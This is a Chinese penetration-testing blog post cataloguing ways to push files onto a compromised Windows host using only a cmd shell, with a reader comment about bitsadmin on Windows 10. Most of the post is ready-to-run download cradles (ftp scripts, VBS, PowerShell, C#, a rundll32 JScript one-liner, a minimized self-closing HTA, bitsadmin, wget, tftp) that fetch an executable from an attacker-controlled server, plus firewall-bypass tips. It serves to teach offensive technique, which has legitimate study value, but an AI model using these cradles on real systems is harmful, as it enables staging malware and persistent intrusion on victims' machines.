渗透技巧——通过cmd上传文件的N种方法

2016-04-05 20,610

0x00 前言

在渗透测试的过程中,常常需要向目标主机上传文件,我在最近的学习测试过程中就碰到了这个问题,要求只能通过cmd shell向目标主机(Windows系统)上传文件,所以本文就对该技巧做一下总结。

cmd1

图片来自于http://www.telegraph.co.uk/news/worldnews/northamerica/usa/11754089/Hacker-remotely-crashes-Jeep-from-10-miles-away.html

0x02 测试环境

OS:Win7 x86
test exe:ssss2.exe,成功运行后输出1

0x03 通用上传方法

1、 debug

debug是一个程序调试工具,功能包括:

  • 直接输入,更改,跟踪,运行汇编语言源程序
  • 观察操作系统的内容
  • 查看ROM BIOS的内容
  • 观察更改RAM内部的设置值
  • 以扇区或文件的方式读写软盘数据

特别的是它还有一个功能可以将十六进制代码转换为可执行文件:

cmd2

结合本文的目标,思路如下:

  1. 把需要上传的exe转换成十六进制hex的形式
  2. 通过echo命令将hex代码写入文件
  3. 使用debug功能将hex代码还原出exe文件

实际测试:

kali中的exe2bat.exe提供了这个功能,位于/usr/share/windows-binaries

如图

cmd3

 

操作步骤:

kali:

[code]
cd /usr/share/windows-binaries
wine exe2bat.exe ssss2.exe ssss2.txt
[/code]

执行后会生成ssss2.txt,将里面的内容复制粘贴到cmd命令行下依次执行

执行后会生成1.dll、123.hex、ssss.exe

如图

cmd4

 

注:
exe2bat不支持大于64kb的文件

如图

cmd5

 

2、ftp

搭建好ftp服务器:

ip:192.168.174.151
文件:ssss2.exe

按顺序执行如下代码即可通过ftp来下载文件

cmd:

[code]
echo open 192.168.174.151 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET ssss2.exe >> ftp.txt
ftp -s:ftp.txt
[/code]

如图

cmd6

 

注:
初次使用ftp下载防火墙会弹框拦截,使用前记得要先添加防火墙规则

3、vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream对象

如下代码保存为.vbs文件:

[code]
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.174.145/ssss2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\update\ssss2.exe",2
[/code]

对应到cmd下的命令为:

[code]
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.174.145/ssss2.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\test\update\ssss2.exe",2 >>download.vbs
[/code]

按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载ssss2.exe

4、powershell

cmd:

[code]
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\test\update\ssss2.exe')
[/code]

5、csc

csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe

c# downloader的代码为:

[code]
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.174.145/ssss2.exe";
string receivePath = @"C:\test\update\";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
[/code]

使用echo将代码依次写入文件download.cs中,然后调用csc.exe编译cs文件

执行

[code]
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
t\update\download.exe C:\test\update\download.cs
[/code]

如图成功生成download.exe

cmd7

 

注:
csc.exe的绝对路径要根据系统的.net版本来确定

6、JScript

相比于JSRat中用的Scripting.FileSystemObject

换用ADODB.Stream实现起来更加简单高效

以下代码依次保存为js文件,直接执行即可实现下载文件

[code]
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);
Stream.Close();
}
[/code]

合并成rundll32的一句话(类似于JSRat的启动方式):

cmd:

[code]
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://192.168.174.145/ssss2.exe",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("C:\\test\\update\\ssss2.exe",2);Stream.Close();}
[/code]

执行后会提示没有权限,很有趣的地方,更多的细节会在以后的文章介绍

cmd8

 

cmd9

7、hta

添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序

以下代码保存为.hta文件:

[code]
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test" WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
[/code]

8、bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带

使用方法:

cmd下:

[code]
bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip C:\test\update\PSTools.zip
[/code]

下载成功如图:

cmd10

 

注:
不支持https、ftp协议
使用kali的simplehttpserver作服务器会报错

0x04 补充上传方法

以上均为系统默认包含的程序,结合以上方法并借助于第三方工具也能够实现功能

这里介绍的思路是可先通过bitsadmin来下载第三方工具,然后利用第三方工具进行传输文件

1、wget:

[code]
bitsadmin /transfer n http://www.interlog.com/~tcharron/wgetwin-1_5_3_1-binary.zip C:\test\update\wget.zip
[/code]

运行后会下载wget的压缩包wget.zip

注:
Windows系统默认不包含解压缩zip文件的命令,但是可以通过vbs来实现解压缩zip文件

vbs实现解压缩:

以下代码保存为.vbs文件:

[code]
UnZip "C:\test\update\wget.zip","C:\test\update\wget\"
Sub UnZip(ByVal myZipFile, ByVal myTargetDir)
Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FileExists(myZipFile) Then
Exit Sub
ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf NOT fso.FolderExists(myTargetDir) Then
fso.CreateFolder(myTargetDir)
End If
Set objShell = CreateObject("Shell.Application")
Set objSource = objShell.NameSpace(myZipFile)
Set objFolderItem = objSource.Items()
Set objTarget = objShell.NameSpace(myTargetDir)
intOptions = 256
objTarget.CopyHere objFolderItem, intOptions
End Sub
[/code]

代码来自于http://demon.tw/programming/vbs-unzip-file.html

成功解压缩后就可通过wget.exe来传输文件

[code]
C:\test\update\wget\wget.exe http://192.168.174.145/ssss2.exe
[/code]

如图

cmd11

 

2、ftfp

思路同上,先通过bitsadmin下载tftp.exe,然后利用tftp传输文件

[code]
bitsadmin /transfer n http://www.winagents.com/downloads/tftp.exe C:\test\update\tftp.exe
[/code]

下载成功后利用tftp传输文件:

[code]
tftp -i 192.168.174.151 GET tftp\ssss2.exe C:\test\update\ssss2.exe

[/code]

注:
默认防火墙会拦截

关掉防火墙或者添加规则即可

如图

cmd12

 

0x05 小结

本文对一些常用的通过cmd来传输文件的技巧做了整理,侧重于介绍其中较为通用简便的方法,所以并未介绍其他需要配置开发环境的实现方法,如Python、Ruby、Php等,如果你有更好的实现方法,欢迎与我交流,共同学习。

0x06 参考资料

【原文:渗透技巧——通过cmd上传文件的N种方法  作者:三好学生  安全脉搏整理发布】

本文作者:SP小编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/44450.html

Tags:
评论  (1)
快来写下你的想法吧!
  • wkmc 2016-04-18 10:30:04

    BITSADMIN version 3.0 [ 7.8.10586 ]
    BITS administration utility.
    (C) Copyright 2000-2006 Microsoft Corp.

    BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
    Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

    Invalid argument.

    win10 中 这个用不了了。

SP小编

文章数:209 积分: 25

交流和分享以及愉快的玩耍

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号